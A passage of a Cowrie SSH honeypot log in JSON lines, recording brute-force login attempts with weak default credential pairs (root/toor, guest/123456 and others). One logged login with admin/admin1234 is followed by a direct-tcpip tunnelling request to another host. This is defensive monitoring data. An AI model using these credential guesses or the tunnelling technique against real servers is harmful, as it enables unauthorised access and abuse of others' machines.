cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:21.239033Z","src_ip":"45.153.34.195","session":"f81c03c2eb14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:21.754130Z","src_ip":"45.153.34.195","session":"f81c03c2eb14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:22.838125Z","src_ip":"45.153.34.195","session":"f81c03c2eb14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":58134,"dst_ip":"10.17.0.5","dst_port":22,"session":"e79b152f49eb","protocol":"ssh","message":"New connection: 45.153.34.195:58134 (10.17.0.5:22) [session: e79b152f49eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:24.103439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:24.130447Z","src_ip":"45.153.34.195","session":"e79b152f49eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:24.223598Z","src_ip":"45.153.34.195","session":"e79b152f49eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:24.587466Z","src_ip":"45.153.34.195","session":"e79b152f49eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:25.672702Z","src_ip":"45.153.34.195","session":"e79b152f49eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":58152,"dst_ip":"10.17.0.5","dst_port":22,"session":"417667b21e71","protocol":"ssh","message":"New connection: 45.153.34.195:58152 (10.17.0.5:22) [session: 417667b21e71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:27.114530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:27.124548Z","src_ip":"45.153.34.195","session":"417667b21e71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:27.203495Z","src_ip":"45.153.34.195","session":"417667b21e71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"12345","message":"login attempt [deploy/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:27.521603Z","src_ip":"45.153.34.195","session":"417667b21e71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:28.640394Z","src_ip":"45.153.34.195","session":"417667b21e71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":58170,"dst_ip":"10.17.0.5","dst_port":22,"session":"c166cff08b98","protocol":"ssh","message":"New connection: 45.153.34.195:58170 (10.17.0.5:22) [session: c166cff08b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:29.805176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:29.823845Z","src_ip":"45.153.34.195","session":"c166cff08b98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:30.082527Z","src_ip":"45.153.34.195","session":"c166cff08b98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123","message":"login attempt [app/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:30.554622Z","src_ip":"45.153.34.195","session":"c166cff08b98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:31.705806Z","src_ip":"45.153.34.195","session":"c166cff08b98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":14396,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed1634cf1a18","protocol":"ssh","message":"New connection: 45.153.34.195:14396 (10.17.0.5:22) [session: ed1634cf1a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:32.749987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:32.754188Z","src_ip":"45.153.34.195","session":"ed1634cf1a18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:32.844429Z","src_ip":"45.153.34.195","session":"ed1634cf1a18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ahmad","password":"ahmad","message":"login attempt [ahmad/ahmad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:33.329901Z","src_ip":"45.153.34.195","session":"ed1634cf1a18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:34.413093Z","src_ip":"45.153.34.195","session":"ed1634cf1a18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":14404,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee495c340509","protocol":"ssh","message":"New connection: 45.153.34.195:14404 (10.17.0.5:22) [session: ee495c340509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:35.741249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:35.748137Z","src_ip":"45.153.34.195","session":"ee495c340509","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:35.839012Z","src_ip":"45.153.34.195","session":"ee495c340509","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:36.306185Z","src_ip":"45.153.34.195","session":"ee495c340509","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:37.391764Z","src_ip":"45.153.34.195","session":"ee495c340509","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":14408,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee9e4a481a74","protocol":"ssh","message":"New connection: 45.153.34.195:14408 (10.17.0.5:22) [session: ee9e4a481a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:38.711307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:38.726461Z","src_ip":"45.153.34.195","session":"ee9e4a481a74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:38.808319Z","src_ip":"45.153.34.195","session":"ee9e4a481a74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"Aa123456","message":"login attempt [ai/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:39.119091Z","src_ip":"45.153.34.195","session":"ee9e4a481a74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:40.208996Z","src_ip":"45.153.34.195","session":"ee9e4a481a74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":51645,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d67a647d91b","protocol":"ssh","message":"New connection: 113.164.152.20:51645 (10.17.0.5:22) [session: 9d67a647d91b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:41.164671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:41.169227Z","src_ip":"113.164.152.20","session":"9d67a647d91b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:41.448007Z","src_ip":"113.164.152.20","session":"9d67a647d91b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":14412,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab5ba8eb1181","protocol":"ssh","message":"New connection: 45.153.34.195:14412 (10.17.0.5:22) [session: ab5ba8eb1181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:41.467943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:41.622354Z","src_ip":"45.153.34.195","session":"ab5ba8eb1181","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:41.625452Z","src_ip":"45.153.34.195","session":"ab5ba8eb1181","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:42.193178Z","src_ip":"45.153.34.195","session":"ab5ba8eb1181","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:42.637766Z","src_ip":"113.164.152.20","session":"9d67a647d91b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:43.070637Z","session":"9d67a647d91b","protocol":"ssh"}
